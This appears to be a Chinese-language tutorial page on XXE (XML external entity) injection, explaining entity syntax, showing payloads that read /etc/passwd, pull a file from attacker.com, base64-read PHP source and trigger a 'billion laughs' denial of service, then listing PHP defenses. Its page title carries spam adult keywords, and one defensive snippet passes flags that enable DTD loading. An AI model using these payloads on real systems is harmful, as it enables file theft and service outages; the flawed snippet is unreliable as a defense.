压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

科普:XXE注入攻擊與防御

  XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊.漏洞是在對非安全的外部實體數據進?行處理時引發的安全問題.

  在XML1.0標準?里,XML文檔結構?里定義了實體(entity)這個概念.實體可以通過預定義在文檔中調用,實體的標識符可訪問本地或遠程內容.如果在這個過程中引入了”污染”源,在對XML文檔處理后則可能導致信息泄漏等安全問題.

  威脅

  XXE漏洞目前還未受到廣泛關注,Wooyun上幾個XXE引起的安全問題:

  pull-in任意文件遍歷/下載

  從開源中國的某XXE漏洞到主站shell

  百度某功能XML實體注入

  百度某功能XML實體注入(二)借助XXE,攻擊者可以實現任意文件讀取,DOS拒絕服務攻擊以及代理掃描內網等.

  對于不同XML解析器,對外部實體有不同處理規則,在PHP中默認處理的函數為: xml_parse和simplexml_load xml_parse的實現方式為expat庫,默認情況不會解析外部實體,而simplexml_load默認情況下會解析外部實體,造成安全威脅.除PHP外,在Java,Python等處理xml的組件及函數中都可能存在此問題

  語法

  要寫Payload,首先要對XML實體語法有一定了解

  XML中entity的定義語法為:

  <!DOCTYPE filename  [  <!ENTITY entity-name "entity-content"  ]> 如果要引用一個外部資源,可以借助各種協議 幾個例子:

  file:///path/to/file.ext  http://url/file.ext  php://filter/read=convert.base64-encode/resource=conf.php  故構造幾種簡單的Payload模型如下:

  <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [  <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall> 亦可讀取網站內容

  <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [  <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall> 如果包含文件失敗,可能是由于讀取php等文件時文件本身包含的<等字符.可以使用Base64編碼繞過,如:

  <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [  <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall> 0×03 攻擊

  借助XXE,有幾種可用且公開的攻擊方式:

  拒絕服務

  POC

  <?xml version = "1.0"?> <!DOCTYPE lolz [  <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> <lolz>&lol9;</lolz> POC中中先定義了lol實體,值為”lol”的字符串,后在下面又定義了lol2實體,lol2實體引用10個lol實體,lol3又引用了10個lol2實體的值,依此類推,到了最后在lolz元素中引用的lol9中,就會存在上億個”lol”字符串此時解析數據時未做特別處理,即可能造成拒絕服務攻擊。

  此外還有一種可能造成拒絕服務的Payload,借助讀取/dev/random實現.

  內網信息

  借助各種協議如http,XXE可以協助掃描內網,可能可以訪問到內網開放WEB服務的Server,并獲取其他信息

  XXE注入攻擊與防御

  文件讀取

  最常規也是最有效的利用思路

  <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [  <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall> 附上兩張截圖,實現文件讀取的過程

  XXE注入攻擊與防御

  XXE注入攻擊與防御

  防御

  1.檢查所使用的底層xml解析庫,默認禁止外部實體的解析

  2.使用第三方應用代碼及時升級補丁

  3.同時增強對系統的監控,防止此問題被人利用

  對于PHP,由于simplexml_load_string函數的XML解析問題出在libxml庫上,所以加載實體前可以調用這樣一個函數

  <?php libxml_disable_entity_loader(true);  ?> 以進行防護,對于XMLReader和DOM方式解析,可以參考如下代碼:

  <?php // with the XMLReader functionality:  $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);  // with the DOM functionality:  $dom = new DOMDocument();  $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);  ?>>  0×05 參考

  https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)

  http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html

  http://cn2.php.net/libxml_disable_entity_loader

  http://projects.webappsec.org/w/page/13247004/XML%20Injection

  http://drops.wooyun.org/papers/1911

上一篇:智能無懼挑戰 山石網科轟動RSA2015

下一篇:美國國會將對一項新網絡安全法案進行投票表決